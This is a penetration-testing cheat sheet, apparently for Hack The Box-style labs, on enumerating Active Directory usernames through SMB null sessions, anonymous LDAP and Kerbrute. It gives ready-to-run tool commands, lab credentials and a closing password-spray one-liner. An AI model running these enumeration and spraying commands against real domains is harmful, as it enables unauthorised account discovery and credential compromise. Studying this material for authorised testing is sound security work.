User enumeration

Retrieving usernames in Active directory for brute forcing or password sprays.

For brute forcing or password spraying we need valid usernames. There are several ways this can be done, from SMB, LDAP, Kerbrute, social engineering or obtained by LLMNR/NBT-NS response poisoning.

SMB Null session

If you can login without username and password its possible to use various tools to retrieve usernames

crackmapexec

$ crackmapexec smb 172.16.5.5 --users

enum4linux

$ enum4linux -U 172.16.5.5  | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"

rpcclient

$ rpcclient -U "" -N 172.16.5.5

LDAP Anonymous

Lightweight directory access protocol (LDAP) is a protocol that makes it possible for applications to query user information rapidly. LDAP is protocol to acces data like usernames, passwords, email addresses, printer connections and more static data.

ldapsearch

ldapsearch -D "ldap://10.10.11.41" -x -b "DC=certified,DC=htb" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "

windapsearch

$ ./windapsearch.py --dc-ip 172.16.5.5 -u "" -U

ldapdomaindump

ldapdomaindump -u 'domain.tld\username' -p password -o /tmp dc-ip-address

An LDAP query typically involves:

• Session connection. The user connects to the server via an LDAP port.

• Request. The user submits a query, such as an email lookup, to the server.

• Response. The LDAP protocol queries the directory, finds the information, and delivers it to the user.

• Completion. The user disconnects from the LDAP port.

source: https://www.okta.com/

Kerbrute

Kerbrute uses the Kerberos Pre-Authentication. In short user logs on requests the TGT, then receives the TGT from the KDC. User then present the TGT to the DC. If valid it receives a TGS ticket which can be used to acces a service.

$ ./kerbrute userenum -d viable.zyx /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc 10.10.11.42

Valid credentials

if you have valid credentials you can get the user with crackmaxexec.

# crackmapexec
$ sudo crackmapexec smb 172.16.5.5 -u htb-student -p Academy_student_AD! --users

# netexec
$ nxc smb 10.10.11.42 -u olivia -p 'ichliebedich' --users

Password spray

sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +